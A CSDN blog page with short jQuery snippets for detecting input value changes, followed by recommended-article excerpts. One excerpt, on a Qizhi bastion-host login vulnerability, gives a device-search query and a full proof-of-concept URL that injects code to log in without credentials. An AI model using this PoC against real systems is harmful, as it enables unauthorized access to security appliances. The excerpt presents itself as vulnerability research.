jquery监听input值改变_jq监听input值的变化-程序员宅基地

技术标签: web前端  前端  javascript  jquery  

1. 正常情况​​​​​​​

$("input[name=age]").bind('input propertychange',function(){
    var a = $(this).val()
    console.log(a)
})

2. 绑定change事件

     使用ajax查询后台数据,通过jquery给页面元素进行赋值显示,发现该方式对input && property不生效。实验发现,同时绑定change事件会解决此问题。

$("input[name=age]").bind('input propertychange change',function(){
    var a = $(this).val()
    console.log(a)
})
3. 追加input标签

    以上方法可是实现现有input标签的实时更新,当需要再动态添加新的input标签时,新增的input标签则不能实现实时更新,这个时候就需要用到 live 事件。

$("input[name=age]").live('input propertychange',function(){
    var a = $(this).val()
    console.log(a)

})

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/u014505277/article/details/125178298

智能推荐

浅谈Json解析与序列化_序列化和json解析的区别-程序员宅基地

文章浏览阅读1.7w次,点赞6次,收藏16次。从头说起:首先的首先,什么是Json:一种数据表示形式,JSON:JavaScript Object Notation对象表示法Json语法规则:数据在键值对中数据由逗号分隔花括号保存对象方括号保存数组像这样:{ "firstName":"John" , "lastName":"Doe" }这样:{"em_序列化和json解析的区别

springboot的配置文件如何配置可以实现多个yml相互读取_springboot如何读取多个yml配置-程序员宅基地

文章浏览阅读2k次,点赞2次,收藏6次。在Spring Boot中,可以通过多种方式来实现配置文件的相互读取和组合。如果你想要在一个Spring Boot应用中使用多个YAML(.yml。_springboot如何读取多个yml配置

C语言中scanf(输入)和printf(输出)的用法详解_scanf输入printf输出-程序员宅基地

文章浏览阅读440次,点赞3次,收藏6次。我们可以看到运行结果123的前面空出了两行,所以这个就是占位符前面加数字的作用!,那么这个时候问题又来了,现在的情况是右对齐,我们如果想左对齐怎么办呢?我们可以看到,这个时候代码就已经左对齐了,其实后面还有2个空位,那么问题又来了,这个前面加数字的作用是什么呢?的意思就是限制输出的数字长度是6个位,小数点后的位数是2个位。默认的情况下printf()不对+进行显示,而对-进行显示,所以如果想要输出负数,就要在d的前面加上负号。的作⽤是将想要输出的内容输出到屏幕上,它名字⾥⾯的 f。_scanf输入printf输出

齐治堡垒机任意用户登录漏洞_/audit/gui_detail_view.php-程序员宅基地

文章浏览阅读8.7k次。声明:仅供漏洞检测和学习,勿用于非法测试漏洞披露时间2021-04-09fofa查询语法app=“齐治科技-堡垒机”POChttp://xxx.xxx.xxx.xxx/audit/gui_detail_view.php?token=1&id=%5C&uid=%2Cchr(97))%20or%201:%20print%20chr(121)%2bchr(101)%2bchr(115)%0d%0a%23&login=shterm批量检测脚本可以先用fof_/audit/gui_detail_view.php

杭电acm—1257 最少拦截系统_杭电acm1257-程序员宅基地

文章浏览阅读499次。题目链接:http://acm.hdu.edu.cn/showproblem.php?pid=1257最少拦截系统Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 65536/32768 K (Java/Others)Total Submission(s): 43869 Accepted Submission(s)_杭电acm1257

C++可重入函数和不可重入函数_c++不可重入函数-程序员宅基地

文章浏览阅读1.8k次。C++可重入函数和不可重入函数可重入函数是指能够被多个线程“同时”调用的函数,并且能保证函数结果正确不必担心数据错误的函数。不可重入函数是指不能运行在多任务环境下,除非能保证互斥的函数。由于使用了未受保护的系统资源,如全局变量区,中断向量表等。不可重入函数在实时系统设计中被视为不安全函数。可重入函数特点:没有静态数据结构不返回指向静态数据的指针所有函数数据由函数的调用者提供使用auto变量,或通过全局变量的拷贝来保护全局变量若必须访问全局变量,则利用互斥信号保护不调用不可重入函_c++不可重入函数

随便推点

CodeSign error: code signing is required for product type Application in SDK iOS-程序员宅基地

文章浏览阅读53次。原地址:CodeSign error: code signing is required for product type Application in SDK iOS 在真机测试的时候往往会突然出现这样一个错误,code signing is required for product type 'Application' in SDK 'iOS 7.0' ,就是说代码签名证书不对劲。..._hellocordova doesn't have a bundle identifier. add a value for product_bundl

【PTA】线性表的两个非递减集合求并集_数据结构线性表的两个非递减集合求并集pta-程序员宅基地

文章浏览阅读4.1k次,点赞6次,收藏7次。线性表的两个非递减集合求并集(山东大学威海校区大二数据结构实验)_数据结构线性表的两个非递减集合求并集pta

InputStream只能读取一次的解决办法_inpustrem只能读一次-程序员宅基地

文章浏览阅读1w次。有时候我们需要对同一个InputStream对象使用多次。比如,客户端从服务器获取数据 ,利用HttpURLConnection的getInputStream()方法获得Stream对象,这时既要把数据显示到前台(第一次读取),又想把数据写进文件缓存到本地(第二次读取)。但第一次读取InputStream对象后,第二次再读取时可能已经到Stream的结尾了(EOFException)或者Stream_inpustrem只能读一次

webpack配置-程序员宅基地

文章浏览阅读1.1w次,点赞35次,收藏143次。webpack是前端的打包工具打包的工作内容是什么扫描项目,生成整个项目所有模块的依赖关系,根据配置对模块进行合并,生成一个单独的文件。修改html文件,让html文件引用生成后的文件将浏览器无法直接识别的(less、sass、ts)文件,转换成浏览器可以实现的内容。将浏览器暂时无法支持的JS新的语法转换成浏览器可以支持的语法。_webpack配置

Nexus 6p bootloop经历_n2g47z_4cores.img-程序员宅基地

文章浏览阅读2.2k次。昨天,用了1年半的6p不知为什么就bootloop了。正常使用中,突然就重启,然后就在重启提示和google标之间来回换,完全停不下来。能进入刷机模式,回复出场什么的都用不了,都会回到bootloop。用power off可以关机,可是一旦接上电源,就又开始bootloop。白色google一出来几秒钟不动,就感觉不对头,让人崩溃。。。。一想买新机又要花钱,决定再抢救一下了。先google..._n2g47z_4cores.img

使用JAXB进行JavaBean对象与XML文件的相互转化_jaxb 设置xml头encoding-程序员宅基地

文章浏览阅读1.7k次。思想:父标签相当于一个对象,子标签相当于对象的属性,然后循环嵌套。JAXBContext类,是应用的入口,用于管理XML/Java绑定信息。Marshaller接口,将Java对象序列化为XML数据。Unmarshaller接口,将XML数据反序列化为Java对象。如果是第一次使用的话,建议先下载代码跑一下看看效果:https://download.csdn.net/downl..._jaxb 设置xml头encoding

推荐文章

热门文章

相关标签